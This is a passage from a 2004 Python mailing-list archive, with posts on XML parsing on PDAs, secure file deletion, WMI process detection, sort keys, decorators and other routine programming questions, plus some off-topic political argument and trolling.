somewhere > in libglade.dll or libglade-2.0.0.dll. I try to copy this file in each > directory but import libglade makes error each time. > Thank you for any idea > Pavel From indrek.kruusa at tuleriit.ee Tue Sep 21 07:13:21 2004 From: indrek.kruusa at tuleriit.ee (Indrek Kruusa) Date: Tue, 21 Sep 2004 11:13:21 -0000 Subject: Importance of C# (was Re: IronPython-0.6 is now available!) In-Reply-To: <5dydnZSDZaARoZXcRVn-ug@powergate.ca> References: <278de0e.0407281353.27b6a457@posting.google.com> <5dydnZSDZaARoZXcRVn-ug@powergate.ca> Message-ID: <4108A103.9050602@tuleriit.ee> Peter Hansen wrote: > Ivan Voras wrote: > >> Btw. has any serious python-lover tried C#? I was sceptical, it >> comming from Microsoft, but I'm reading a book about it now >> ("Programming C#"), and I'm getting really impressed - it could be a >> very productive language, and speedy also. > > > In what way do you feel C# is significantly different than Java? I do python every day, but the C# seems quite interesting. A little and very basic speed test ("Speed test" section): http://www.tuleriit.ee/progs/index.php I haven't tried the Novell's Mono yet, but I hope to do so. Indrek From firstname at lastname.pr1v.n0 Thu Sep 9 11:08:31 2004 From: firstname at lastname.pr1v.n0 (Morten Reistad) Date: Thu, 9 Sep 2004 17:08:31 +0200 Subject: Xah Lee's Unixism References: <3vahj09m887i64osgm65bhhh6l9tl6j38a@4ax.com> <413f03cc$0$6914$61fed72c@news.rcn.com> <413F43AC.9D2088AF@yahoo.com> <4140688e$0$6912$61fed72c@news.rcn.com> Message-ID: In article <4140688e$0$6912$61fed72c at news.rcn.com>, wrote: >In article <413F43AC.9D2088AF at yahoo.com>, > CBFalconer wrote: >>jmfbahciv at aol.com wrote: >>> Alan Balmer wrote: >>>> CBFalconer wrote: >>>>> Alan Balmer wrote: >>>>>> >>>>>... snip ... [snipp Rush Limbaugh's's talks show mentioned] >>I deplore your tast in radio talk shows. > >Oh! Taste in talk shows. Ah, then I have deplorable tastes in your opinion. I find Rush greatly entertaining; but wouldn't use him as a data point. I wish the left could dig up someone as entertaining as Rush. >> .. It doesn't take much to >>create a rabble rousing poll to increase ratings. > >I listen to them for data about how the rabble is thinking >and the logic they use to form their opinions. I also >watch those religious cable TV shows to gather the same kinds >of information; note that I can only manage to listen to these >about 10 minutes and not more than once/year. I also listen >to Rushie to see what kinds of lies that half of the world is >listening to. I watch CSPAN who never cut out for commericals, >don't edit too much, and tend to leave the mike on after the >meetings break up. ' With most of these you miss the point if you listen for content at all. The media IS the message. And you are the product, to be entertained enough so you can be sold to advertisers. >>There is no need, nor cause, to impute Bush & Co. with >>intrinsically evil intentions. It is quite enough to point to >>their lack of capability, and bull headed 'revenge for daddy' >>propensities. The state of the economy, unemployment, poverty >>rate, medical care, deficit, death rate in Iraq (both of Americans >>and Iraqis), abandonment of the Bin Laden hunt, abridgement of >>civil liberties (as in the Patriot Act and the Gitmo gulag), poor >>choice of companions (Halliburton and other political donors and >>trough feeders, and the 'plausible deniability' of the Swiftboat >>gang), irritation of allies, inability to deal with North Korea >>(due to involvement with useless adventures), abandonment of >>efforts towards a Palestinian peace, all spring to immediate mind. A lack of focus on world politics has been a characteristica of the US presidents since Eisenhower. Bush is not special, he just got the mess in his lap and had to deal with it; just as Nixon inherited the Vietnam war. >Well, your Bush-hater campaign is working beyond all your >expectations. One day, you will have to live it. -- mrr From jarausch at skynet.be Wed Sep 29 13:16:24 2004 From: jarausch at skynet.be (Helmut Jarausch) Date: Wed, 29 Sep 2004 19:16:24 +0200 Subject: interactive help on string functions - howto Message-ID: <415aede9$0$24598$ba620e4c@news.skynet.be> Hi, entering help('rstrip') or help('ljust') into IDLE's shell window I only get no Python documentation found ... Am I missing something? Thanks for a hint, Helmut. -- Helmut Jarausch Lehrstuhl fuer Numerische Mathematik RWTH - Aachen University D 52056 Aachen, Germany From alanmk at hotmail.com Tue Sep 7 08:07:04 2004 From: alanmk at hotmail.com (Alan Kennedy) Date: Tue, 07 Sep 2004 13:07:04 +0100 Subject: python from Java In-Reply-To: References: Message-ID: <0rh%c.26762$Z14.8686@news.indigo.ie> [Alan Kennedy] >>I think the best solution for you is to use and event-based python >>parser to parse your XML. and >>What you should consider is building your own object model, based on the >>events generated by your SAX parser. Although this sounds hard, it is >>actually extremely easy, as this ActiveState cookbook entry shows. >> >>http://aspn.activestate.com/ASPN/Cookbook/Python/Recipe/149368 >> >>There are also multiple cpython products which will build a python >>object model from XML events: all of these should be comparatively cpu >>and memory efficient. >> >>Objectify >>http://gnosis.cx/download/gnosis/xml/objectify >> >>Anobind >>http://uche.ogbuji.net/tech/4Suite/anobind/ >> >>ElementTree >>http://effbot.org/downloads/#elementtree [Ajay] > okay i tried the above approaches but no luck. See the problem is an XML > parser which works on a PDA - pythonce. Now elementtree uses pyexpat > (which pythonce doesn't have), objectify just needs expat which i dont > have either and anobind needs 4Suite - there is no port for it to a PDA. > so i am back to where i was earlier. > looking for a reasonably fast and efficient xml parser that works on a PDA > (DOM or SAX, i dont care) I see. OK, rather than us trying to suggest multiple possible solutions, only to find out that they are not supported on python-ce, because of lack of expat, etc, please can you list for us the xml parsers that *do* work on python-ce. Particularly, I'm interested in whether the xml.sax modules work. Also, check to see if sgmllib works, since that can also be used as an efficient XML parser. There's got to be *some* event-based XML parser on python-ce, even if it is pure-python. Start by looking at this HOWTO, and see if you can get any of the examples running. http://pyxml.sourceforge.net/topics/howto/section-SAX.html Once you've got a working event parser, then we'll figure out the best way to build a python object model for your xml files. regards, -- alan kennedy ------------------------------------------------------ email alan: http://xhaus.com/contact/alan From matt.torment at gmail.com Tue Sep 7 02:45:21 2004 From: matt.torment at gmail.com (Matthew K Jensen) Date: 6 Sep 2004 23:45:21 -0700 Subject: Secure delete with python References: <7xd60zf339.fsf@ruckus.brouhaha.com> Message-ID: Paul Rubin wrote in message news:<7xd60zf339.fsf at ruckus.brouhaha.com>... > Ville Vainio writes: > > Benjamin> and there is no guarantee that this actually overwrites > > Benjamin> the old file. The filesystem may choose to write the new > > Benjamin> content at another location of the disk, leaving the > > Benjamin> original data untouched. > > > > Seriously? What OSen are known for doing this? I'd had thought that if > > the file size is unchanged, the data is always written over the old > > data... > > That's what log structured file systems do, for example. > > > Also, when overwriting a file, it's better to do it several times, > > with alternating bit patterns and "syncing" the disk after each > > pass. Of course even that is not going to guarantee anything because > > it may just go to the hardware cache in the disk unit, but it's > > reasonable if you are overwriting lots of data at once. > > It may never get written to the same sector of the disk as the > original file, even if the OS has tried to overwrite those sectors. > Disk drives themselves will sometimes remap sectors from one place to > another. I had this idea once, when I assumed that the OS wrote to the first blocks nearest to the beginning of the disk, to where I just simply write a whole bunch of crap files to fill in blocks that could be the place where recently deleted files used to be. Then defrag the filesystem. Then delete the crap files. I'm just thinking aloud if any of this helps. From dd55 at cornell.edu Thu Sep 30 10:35:41 2004 From: dd55 at cornell.edu (Darren Dale) Date: Thu, 30 Sep 2004 10:35:41 -0400 Subject: Dynamically Generating a Graph in Python References: <47f7cc78.0409300618.332a3278@posting.google.com> Message-ID: Hi Tim, Try looking into Matplotlib. There was some discussion on this recently in their user forum: http://sourceforge.net/mailarchive/forum.php?thread_id=5660596&forum_id=33405 Darren Tim Henderson wrote: > Hi > I want to dynamically generate a graph in python that would be > displayable on a web page. What would be the best way to do this? > > The reason I want to do this, is because I am making a program to > convert data from scientic probes into web pages. I have been able to > do every thing except the graph generation. > > Your help would be much appriciated > > --- > Tim Henderson From b.niemann at betternet.de Mon Sep 6 09:25:51 2004 From: b.niemann at betternet.de (Benjamin Niemann) Date: Mon, 06 Sep 2004 15:25:51 +0200 Subject: Secure delete with python In-Reply-To: References: Message-ID: Boris Genc wrote: > Hi everybody. > I was wandering is there a method or a function already implemented in > python that supports secure deletion of data? > > I'm interested in something which is able to securely wipe data (from > single file to bunch of MB's), and that should run both on Linux and > Windows. > > I tried on google, but I hadn't found anything useful to me. > > Thank you very much in advance. > > Boris Genc something like fp = open(path, "wb") for i in range(os.path.getsize(path)): fp.write("*") fp.close() os.unlink(path) is probably all you can do in a portable way (multiple write phases with different data could improve the 'security'). But a problem that cannot be solved in a portable way is that the data might exist at other locations on the disk (e.g. temporary file, backup, swapfile...). Unless you know *exactly* that there *cannot* be another copy of the data, you would have to erase all unused parts of the filesystem, too - a process that heavily depends on which filesystem is used. From pclinch at internet-glue.co.uk Thu Sep 16 11:08:16 2004 From: pclinch at internet-glue.co.uk (Paul Clinch) Date: Thu, 16 Sep 2004 16:08:16 +0100 Subject: Broadcast References: Message-ID: Thomas Weholt wrote: > Posted somewthing about a xmlrpc-webserver with multicast > capabilities, but I've solved all but the thing I've now learned is > called broadcast, not multicast. > > I need a simple way of sending packets to local subnet and getting > results from active servers. The mcast.py in the demo-folder of the > distro didn't do it for me, so if anybody has another example I'd be > very grateful. There some more extensive code in the PyRendezvous project. See http:/ radio.weblogs.com/0105002/stories/2003/01/06 multicastDnsServiceDiscoverForPython.html Regards, Paul Clinch From ksenia at ksenia.nl Tue Sep 7 16:50:28 2004 From: ksenia at ksenia.nl (Ksenia Marasanova) Date: Tue, 07 Sep 2004 23:50:28 +0300 Subject: Simple Web Templating system with execution in templates In-Reply-To: References: Message-ID: <8CDB56D2-010F-11D9-A2ED-000A957911BC@ksenia.nl> > Does anyone have any recommendations for simple web templating systems > for > python that also allow execution of python code within the the > templates > themselves ? > > So far I'm using Albatross, and it's nice, though it would be nicer > still if > it had proper support for 'code tags' ala . The following templating system is definatelly not what you described :-), but it allows you to use 'normal' Python with templates (and that is probably what you really want): http://freespace.virgin.net/hamish.sanderson/htmltemplate.html Ksenia. From tim.golden at tesco.net Thu Sep 16 15:46:07 2004 From: tim.golden at tesco.net (Tim Golden) Date: Thu, 16 Sep 2004 19:46:07 +0000 (UTC) Subject: How to detect open windows applications In-Reply-To: <82d4be71.0409160655.234749ab@posting.google.com> References: <82d4be71.0409160655.234749ab@posting.google.com> Message-ID: Roy wrote: > How do I know within my python script if a specific windows > application is currently running in Windows 2000. Specifically, I > would like to know of MSWORD is running. I have the win32 package > installed. Thank you for your help. I'm sure there are other ways, but since no-one else has replied yet, you could use wmi: import wmi c = wmi.WMI () for p in c.Win32_Process (Name="thunderbird.exe"): print p.ExecutablePath The example uses my wmi-wrapper module (Google for Python WMI) but you can do WMI with raw pywin32 -- all the module does is to make life a bit easier. TJG From aleaxit at yahoo.com Thu Sep 23 09:28:05 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Thu, 23 Sep 2004 15:28:05 +0200 Subject: Python 3.0, rich comparisons and sorting order References: <5y04d.1704$g42.492@newsread3.news.pas.earthlink.net> Message-ID: <1gkklc5.1p7evdjdacgadN%aleaxit@yahoo.com> Steven Bethard wrote: ... > > today, there are 4 different ways to customize sorting behavior: > > > > 1) passing a comparison function to sort(); > > 2) passing a key generation function to sort(); > > 3) implementing __cmp__; > > 4) implementing rich comparison methods. > > There are things you can do with the cmp keyword arugment that you can't do > with the key keyword argument... Though I'm not sure how many of these things > that you *can* do you actually *want* to do... Considering that key= can be any kind of callable, I don't think it's true that there are things you can do with cmp= that you can't do with key=, taking the argument to the letter. Consider, for example (warning: untested...): def masquerade_a_cmp_as_a_key(acmp): class called_as_key(object): def __init__(self, obj): self.obj = obj def __cmp__(self, other): return acmp(self.obj, other.obj) return called_as_key now, anylist.sort(key=masquerade_a_cmp_as_a_key(foo)) should do just the same thing (albeit a tad slower) as anylist.sort(cmp=foo), I believe. Alex From jepler at unpythonic.net Mon Sep 13 18:16:01 2004 From: jepler at unpythonic.net (Jeff Epler) Date: Mon, 13 Sep 2004 17:16:01 -0500 Subject: Binding? problem In-Reply-To: References: Message-ID: <20040913221601.GA2050@unpythonic.net> I think that this program does what you want, with certain limitations. It is related to the so-called Borg singleton pattern, in which all (distinct) instances of a class have the same __dict__ so that they appear to be identical. Here, all items in the "faux_mro" of a Runner have the same dict as the Runner instance they serve, so when Library's method executes it can access the "s" attribute. I suspect that in the long run you'd be better off trying to solve your problem in a less strange way, for instance by using the mix-in class method suggested in an earlier message. Remember, you can use type() or new.classobj() to create a class with given base types at run-time: mixed_class = new.classobj("mixed", (base, mixin1, mixin2, ...), {}) mixed_instance = mixed_class() Of course, base = computed_base() mixin1 = computed_mixin() mixin2 = other_computed_mixin() class mixed_class(base, mixin1, mixin2): pass does the same thing. class S: def __init__(self,value): self.value = value def __repr__(self): return '<%s: %r>' % (self.__class__.__name__, self.value) class Library: ### this method refers to 'self.s' which it isn't ### an attribute or method def do_this(self): self.s.value = 'this' class Runner: def __init__(self): self.s = S('whock') self.faux_mro = [] def importmethod(self, cls): inst = cls() inst.__dict__ = self.__dict__ self.faux_mro.insert(-1, inst) def __repr__(self): return '<%s %s>' % (self.__class__.__name__,self.s) def __getattr__(self, attr): for item in self.faux_mro: try: return getattr(item, attr) except AttributeError: continue raise AttributeError, ("Runner@%x nor its faux_mro has attribute %r" % (id(self), attr)) r = Runner() print dir(r) print r r.importmethod(Library) r.do_this() # calls Library.do_this with self.__dict__ == r.__dict__ print r # r.s mutated -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 196 bytes Desc: not available URL: From skip at pobox.com Mon Sep 13 16:12:09 2004 From: skip at pobox.com (Skip Montanaro) Date: Mon, 13 Sep 2004 15:12:09 -0500 Subject: Annotatable Python docs -- now a reality !!! In-Reply-To: <1001ff04.0409131100.385d6fc1@posting.google.com> References: <1001ff04.0409131100.385d6fc1@posting.google.com> Message-ID: <16709.65305.516392.157089@montanaro.dyndns.org> Bob> Why not convert them to a wiki format? Convert what to a wiki format? Not everyone will have your reference message available. Skip From roman.yakovenko at actimize.com Thu Sep 9 05:07:24 2004 From: roman.yakovenko at actimize.com (Roman Yakovenko) Date: Thu, 9 Sep 2004 12:07:24 +0300 Subject: FW: Set and {} comparison confusion Message-ID: <2D89F6C4A80FA547BF5D5B8FDDD04523253A3D@exchange.adrembi.com> > From: Alex Martelli [mailto:aleaxit at yahoo.com] > > Roman Yakovenko wrote: > > > Thanks. I have an other question, more general: > > > > I have class A that defines __eq__ and __ne__. > > I have 2 lists of instances of A > > > > What is the right way to find out whether those lists > > are equal (as sets) or not? > > > > Thanks for help > > If instances of class A are not hashable, there is > unfortunately no fast > way. Tim Peters, in the Python Cookbook (first edition), shows an > elaborate way to turn a list into a list of unique elements > which is as > fast as feasible depending on the list elements' properties, which the > recipe discovers automatically by fielding errors raised by usage that > the list items don't support -- but even that would be thrown off the > rails if the instances of A _appear_ to be hashable but > violate the key > semantic constraint (equality of instance MUST imply equality > of hash). > > I assume from your specific mention of __eq__ and __ne__ that > you can't > even SORT a list of such instances -- that they don't define __lt__ or > define it in such ways as to violate the key semantic > constraint on THAT > operation -- so you can't even use the second-best approach (after > hashing), which starts with sorting. Right, this is exactly my constraints: classes have __eq__, __ne__. Classes are mutable - I can't define __hash__ function. __lt__ - I can implement but it will be meaningless. > Under such dire, horrible conditions you will have to resort to the > extremely slow approach, O(M*N) where M and N are the lengths > of the two > lists -- at least it can be expressed simply...: > > def same_as_sets(onelist, another): > for item in onelist: > if item in another: return False > for item in another: > if item in onelist: return False > return True > > It's horrible, but then that class appears to be designed to fight > against attempts to solve this problem more smartly, at least > extrapolating from what little you tell us about it. > > > Alex I agree with you: it's horrible. Thank you for help. I think I have a dicision: 1. I will implement meaningless __lt__ 2. I will sort ( I don't have duplicated items ) every time I need to compare 2.1 Because sort is happen in place next time it will take less time to sort. Again - Thanks for help. It was very usefull. It seems that I had wrong expectation from set - " unordered set collection based only on comparison operators". My mistake. Roman From bulliver at badcomputer.no-ip.com Thu Sep 9 15:07:42 2004 From: bulliver at badcomputer.no-ip.com (Darren Kirby) Date: Thu, 9 Sep 2004 12:07:42 -0700 Subject: Best way to get ip address Message-ID: <200409091207.55336.bulliver@badcomputer.no-ip.com> Hello list: I am writing a small app in python which tracks the kernel banner at kernel.org and downloads newer kernel version(s) (if there are any). I am using GeoIP to set the download to a local mirror if there is one. This is what I use to get the local IP address: ip = socket.gethostbyaddr(socket.gethostname()) # returns: ('hostname.domain', ['hostname'], ['192.168.0.2']) ip = str(ip[2]) # returns: "['192.168.0.2']" ip = ip[2:-2] # returns: '192.168.0.2' This works fine, but seems a little crufty and convoluted, and usually when things get crufty it means there is a better way to do it...so is there a preferred way of obtaining a local IP address? Another issue is that if the user is behind a NAT firewall or somesuch and uses a private network address then the whole GeoIP code is moot. I was thinking that if this is the case then the app could check for the default gateway of the machine and use that IP instead, but of course the gateway may just be another private network IP address. Does anyone have some ideas on how I could make this code useful with a private IP address? Thanks for your time. -- Part of the problem since 1976 http://badcomputer.no-ip.com Get my public key from http://keyserver.linux.it/pks/lookup?op=index&search=bulliver "...the number of UNIX installations has grown to 10, with more expected..." - Dennis Ritchie and Ken Thompson, June 1972 -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 196 bytes Desc: not available URL: From ml at dynkin.com Fri Sep 3 14:54:35 2004 From: ml at dynkin.com (George Yoshida) Date: Sat, 04 Sep 2004 03:54:35 +0900 Subject: Problem with 2.4(alpha3) In-Reply-To: <4138a9f0$0$22757$db0fefd9@news.zen.co.uk> References: <4138a9f0$0$22757$db0fefd9@news.zen.co.uk> Message-ID: Will McGugan wrote: > Hi, > > After installing the lastest alpha, on Win 2k, I found that my scripts > no longer worked. It turns out that the .py file assocations had the > switches -n and -e set for 'open'. pyhton.exe was reporting unkown > option for these switches. I removed them and it seems to have fixed it. I ran into the same trouble and fixed the same way ;-) > Is there a problem with the installer, or some other issue when > installing 2.4 over 2.3.4? I think this issue is caused by the scipt to create a msi installer. I've just filed a bug report to sf, so I hope someone takes a look at it. http://www.python.org/sf/1022010 -- George From bobx at linuxmail.org Mon Sep 13 15:00:11 2004 From: bobx at linuxmail.org (Bob) Date: 13 Sep 2004 12:00:11 -0700 Subject: Annotatable Python docs -- now a reality !!! References: Message-ID: <1001ff04.0409131100.385d6fc1@posting.google.com> Why not convert them to a wiki format? That would be a good and clean way to do it. From tchur at optushome.com.au Thu Sep 16 23:58:11 2004 From: tchur at optushome.com.au (Tim Churches) Date: Fri, 17 Sep 2004 13:58:11 +1000 Subject: Python and ESRI (GIS) Message-ID: <200409170358.i8H3wBIY004754@mail02.syd.optusnet.com.au> An embedded and charset-unspecified text was scrubbed... Name: not available URL: From bradtilley at usa.net Wed Sep 1 15:14:49 2004 From: bradtilley at usa.net (Brad Tilley) Date: Wed, 01 Sep 2004 15:14:49 -0400 Subject: function returning a list In-Reply-To: References: Message-ID: Rick Holbert wrote: > Brad Tilley wrote: > > >>Can a function return a list? > > > Yes > > >>>>def return_list(): > > ... list = [1, 2, 3] > ... return list > ... > >>>>l = return_list() >>>>l > > [1, 2, 3] > Thanks guys, stupid question. I got it working. From jerf at jerf.org Thu Sep 16 20:46:00 2004 From: jerf at jerf.org (Jeremy Bowers) Date: Fri, 17 Sep 2004 00:46:00 GMT Subject: Fwd: [Python-Dev] Strawman decision: @decorator won't change References: <05n2d.2048$0i5.1135@newsread3.news.pas.earthlink.net> Message-ID: On Fri, 17 Sep 2004 00:07:42 +0000, Bengt Richter wrote: > Is that a di-glyph suggestion? (IOW, why a _single_ character to replace '@' ?) Because that's what Guido is calling for. Given that this has been the majority of discussion on the topic, I'd hazard a guess that the '@' is going to stick. :-) From fumanchu at amor.org Wed Sep 22 15:40:59 2004 From: fumanchu at amor.org (Robert Brewer) Date: Wed, 22 Sep 2004 12:40:59 -0700 Subject: An attempt to use a python-based mini declarative language forformdefinition Message-ID: <3A81C87DC164034AA4E2DDFE11D258E3022EFA@exchange.hqamor.amorhq.net> Larry Bates wrote: > You may can write your own __setattr__ method. > That way you can keep track of the order of > the fields yourself. > > class UserForm(Form): > def __init__(self): > self.fields=[] > self.next_index=0 # Index pointer for next method > self.nickname = TextBox(length=15, default="")) > self.password = TextBox(length=10, default="", password=True)) > self.name = TextBox(length=40, default="") > return > > def __setattr__(self, fieldname, object): > self.fields.append(object) > self.__dict__[fieldname]=object > return > > def __iter__(self): > return self > > def next(self): > # > # Try to get the next route > # > try: FIELD=self.fields[self.next_index] > except: > self.next_index=0 > raise StopIteration > # > # Increment the index pointer for the next call > # > self.next_index+=1 > return FIELD > > > self.fields list will contain the fields in the > order they were defined. self.__dict__ contains > them in dictionary that __getattr__ will reference > for indexed lookup. I added __iter__ and next > methods so you can easily loop over all the fields. > Not tested and just one of > many methods. You're going to run into a problem with that approach: when you set self.fields in __init__, it will also call __setattr__ and fail, because __setattr__ references 'fields' but you haven't defined it yet. You can work around that special case, but it's going to continue to bite you when you add attributes which you don't want indexed. I have a gut feeling that a custom descriptor would solve that, but don't have time to lay it all out. :( Robert Brewer MIS Amor Ministries fumanchu at amor.org From maxm at mxm.dk Fri Sep 17 09:24:43 2004 From: maxm at mxm.dk (Max M) Date: Fri, 17 Sep 2004 15:24:43 +0200 Subject: VBScript does exactly what you want In-Reply-To: <2d8097ee.0409170130.448cd351@posting.google.com> References: <2d8097ee.0409170130.448cd351@posting.google.com> Message-ID: <414ae565$0$264$edfadb0f@dread12.news.tele.dk> Ana Berlusconi wrote: > Assuming you're working on Windows, VB/VBScript is the way to go - the > entire MS Office suite has been built around this paradigm, and use > VBScript very successfully for macro handling. Hey, that sounds great. If there is one of them macro recorders I don't even have to write code any more. That seems like the next natural step up from Python. I wonder why I havn't thought if it before? -- hilsen/regards Max M, Denmark http://www.mxm.dk/ IT's Mad Science From ny_r_marquez at yahoo.com Tue Sep 7 14:38:14 2004 From: ny_r_marquez at yahoo.com (R.Marquez) Date: 7 Sep 2004 11:38:14 -0700 Subject: Question: tools for business apps development References: Message-ID: <8a27e309.0409071038.75a2d86d@posting.google.com> > I've downloaded > Boa and PythonCard, and while both work (to a reasonable degree), I > found both lacking for a RAD style development cycle. Are these tools > being used for production code? I am probably more of a craftsman than a "RAD" styled developer. So I do most of my application development by hand. However, I have used PythonCard for some tools and found it quite adequate (especially since you can reach out and code straight wx for the controls not yet implemented in PythonCard). I have not yet done much with Boa, especially with the latest release, but I have heard many good things about it. So, I am curious as to where do you see these tools as lacking. Could you elaborate a little more on this, and on what you would like to see instead. -Ruben From nk at ebox.gr Fri Sep 17 07:15:16 2004 From: nk at ebox.gr (Nikos Kouremenos) Date: Fri, 17 Sep 2004 14:15:16 +0300 Subject: VBScript does exactly what you want In-Reply-To: <2d8097ee.0409170130.448cd351@posting.google.com> References: <2d8097ee.0409170130.448cd351@posting.google.com> Message-ID: <1095419584.409222@athnrd02> Ana Berlusconi wrote: > Assuming you're working on Windows, VB/VBScript is the way to go - the > entire MS Office suite has been built around this paradigm, and use > VBScript very successfully for macro handling. > > Regards, Ana Ana, consider changing "Berlusconi" first and they you can propose to others From jocknerd1 at yahoo.com Fri Sep 10 10:29:27 2004 From: jocknerd1 at yahoo.com (Jocknerd) Date: Fri, 10 Sep 2004 10:29:27 -0400 Subject: Using re to get data from text file Message-ID: I'm a Python newbie and I'm having trouble with Regular Expressions when reading in a text file. Here is a sample layout of the input file: 09/04/2004 Virginia 44 Temple 14 09/04/2004 LSU 22 Oregon State 21 09/09/2004 Troy State 24 Missouri 14 As you can see, the text file contains a list of games. Each game has a date, a winning team, the winning team's score, the losing team, and the losing team's score. If I set up my program to import the data with fixed length format's its no problem. But some of my text files have different layouts. For instance, some only have one space between a team name and their score. Here's how I read in the file using fixed length fields: filename = sys.argv[1] file = open (filename, 'r') schedule = [] # make a list called schedule while True: line = file.readline() if not line: break game = {} # make a dictionary called game game['date'] = line[0:10] # fixed length field game['team1'] = string.strip (line[12:40]) game['score1'] = line[40:42] game['team2'] = string.strip (line[44:72]) game['score2'] = line[72:74] schedule.append(game) file.close() Note: I'm stripping whitespace from the team names because I don't want the team name to actually be a fixed length. How would I set this up to read in the data using Regular expressions? I've tried this: while True: line = file.readline () if not line: break game = {} datePattern = re.compile('^(\d{2})\D+(\d{2})\D+(\d{4})') Here's where I get stuck. What do I do from here? I just don't know how to import the text and assign it to the proper fields using the re module. From peter at engcorp.com Thu Sep 9 07:00:05 2004 From: peter at engcorp.com (Peter Hansen) Date: Thu, 09 Sep 2004 07:00:05 -0400 Subject: print and % operator In-Reply-To: <82880e86.0409082143.7e50aa98@posting.google.com> References: <82880e86.0409082143.7e50aa98@posting.google.com> Message-ID: Ruchika wrote: > I am new to Python, so this may be a very simple question for most of > you. What does the % operator stand for in Python? I came across a > script that uses the % operator as follows - > > def sync(delf,name): > os.popen3( 'P4 -s sync -f %s' % name) > > I would suspect that this just replaces the %s with the value of name. > Is % before name required? Should there be a space between % and name? You _really_ need to go through the tutorial... it answers this question and others you have had and many others you will have. Also consider reading the main FAQ entries soon! -Peter From daniel at syrinx.net Tue Sep 21 14:20:37 2004 From: daniel at syrinx.net (Daniel Ellison) Date: Tue, 21 Sep 2004 14:20:37 -0400 Subject: python ides In-Reply-To: References: Message-ID: <2rb9iiF16q2g8U1@uni-berlin.de> kevin wrote: > Since i saw a post about a troll saying python doesnt have good ides(not > true) , i would like to say that python has the best ide ever! and i kevin wrote: > I am talking about pure functionality we all want, advanced debugging , > inline object information , fast proyect development,etc. ^^^^^^^ julio wrote (in "python is going to die! =)"): > just develop some custom system scripts, but when 90% of the evelopers > need to consider how many developers you will find to start a proyect, ^^^^^^^ Of course, the message headers tell us everything we really need to know... From kirk at eyegor.jobsluder.net Sun Sep 12 22:27:13 2004 From: kirk at eyegor.jobsluder.net (Kirk Job-Sluder) Date: Mon, 13 Sep 2004 02:27:13 GMT Subject: MD5 and SHA cracked/broken... References: <7xacvwn01v.fsf@ruckus.brouhaha.com> Message-ID: On 2004-09-11, Paul Rubin <> wrote: > There's new NIST hash functions, SHA-256, SHA-384, and SHA-512, whose > output is 256, 384, or 512 bits long, respectively, instead of 160 > bits for SHA-1 or 128 bits for md5. There are implementations > floating around and they should probably be added to the Python library. > It's most logical to just add them to the existing sha module. SHA-1, SHA-256, SHA-384, and SHA-512 are all in the same family so a fundamental break in SHA-1 should make the other three more vulnerable as well. -- Kirk Job-Sluder "The square-jawed homunculi of Tommy Hilfinger ads make every day an existential holocaust." --Scary Go Round From gabriel.cooper at mediapulse.com Thu Sep 30 13:28:41 2004 From: gabriel.cooper at mediapulse.com (Gabriel Cooper) Date: Thu, 30 Sep 2004 13:28:41 -0400 Subject: Web Application In-Reply-To: <2b608e46040930073750bfb23b@mail.gmail.com> References: <2b608e46040930073750bfb23b@mail.gmail.com> Message-ID: <415C4249.6010505@mediapulse.com> http://snakeskin-tools.sourceforge.net/ Cesar Andres Roldan Garcia wrote: >Hi! > >I have some doubts with something I do > >I'm making a web app something like a shopping car, and I have to use >the MVC Model (model-view-controller more info at "model 2 java" in >google's first link), so I do something like this: > >- I use css and HTMLgen module in python for generating HTML webpages >based on the content of queries and insertions of products. (that's >view) > >- I define classes for each object I have to create in Python, so, >they have the instructions for insert, delete, select using adodb >module (that's the object part) > >- Then I use CGI based on python depending of the user want to do >(insert a product, make a query of products, etc...), those cgis call >the functions and objects in python, then those functions return html >code. > >my questions is, anybody know how can i make this more efficient?? or >using something better for generate HTML, or in general, something for >making a web application like a shopping car?? > >thanks u very much > > > -- __________________________________ *gabriel.cooper*@mediapulse.com internet developer 865.675.4455 x32 800.380.4514 www.mediapulse.com __________________________________ -------------- next part -------------- An HTML attachment was scrubbed... URL: From fernandoSPAM.YOURSELF at fernando-rodriguez.com Tue Sep 14 07:13:04 2004 From: fernandoSPAM.YOURSELF at fernando-rodriguez.com (Fernando Rodríguez) Date: Tue, 14 Sep 2004 13:13:04 +0200 Subject: Another worthless decorator syntax suggestion References: Message-ID: <0gkdk0d5ohpnpirits7ja2nqhi2bg1o3bb@4ax.com> On Tue, 14 Sep 2004 11:36:05 +0100 (BST), Michael Sparks wrote: > >> I look forward to seeing the final decision of our BDFL on this subject, >> as I suspect I will agree with it. > >He gave it - the pies win. Guido gave a very good/nice summary of why as Yuck... A very bad decision, IMHO. One that takes Python's syntax closer to Perl's mess. From jeffbarish at starband.net Fri Sep 10 16:04:30 2004 From: jeffbarish at starband.net (Jeffrey Barish) Date: Fri, 10 Sep 2004 14:04:30 -0600 Subject: Python bell or beep References: <1B64CD41A257784EAD82424FC8915F840EADC11C@NYCEXMB15.pfizer.com> Message-ID: Greer, Joseph wrote: > I am a former BASIC programmer. Is there a command I can place in a > Python program to make a beep or buzz or bell? > > > > Sincerely, > Joseph Greer > Pfizer Inc. - Corp Info Tech > Assoc Director > Regional Data Center Programs > 201 Tabor Road, MS 79-1 > Morris Plains, NJ 07960-2693 > 973-385-0865 > joseph.greer at pfizer.com Dibs. I can answer this question because I just asked it a week or two ago. Use: sys.stdout.write('\a') sys.stdout.flush() Just don't test this code in Idle because it doesn't work there. -- Jeffrey Barish From aleaxit at yahoo.com Wed Sep 22 17:17:12 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Wed, 22 Sep 2004 23:17:12 +0200 Subject: How to count lines in a text file ? References: <414ed896$0$26378$ba624c82@nntp02.dk.telia.net> <414eda06$0$26379$ba624c82@nntp02.dk.telia.net> <1gkf46r.1xrytm21mny6pfN%aleaxit@yahoo.com> <9Gk4d.400$zG1.260@newsread3.news.pas.earthlink.net> Message-ID: <1gkjf3r.y37symc5ueasN%aleaxit@yahoo.com> Andrew Dalke wrote: > Bengt Richter wrote: > > or, if you _are_ willing to read in the whole file, > > > > open('text.txt').read().count('\n') > > Except the last line might not have a terminal newline. ...and wc would then not count that non-line as a line, so why should we...? Witness...: $ echo -n 'bu'>em $ wc em 0 1 2 em zero lines, one word, two characters: seems right to me. Alex From squirrel at WPI.EDU Thu Sep 2 11:54:00 2004 From: squirrel at WPI.EDU (Christopher T King) Date: Thu, 2 Sep 2004 11:54:00 -0400 Subject: YOU ALL SUCK! In-Reply-To: References: <1bf5bcb9.15695836@aol.com> Message-ID: On 2 Sep 2004, 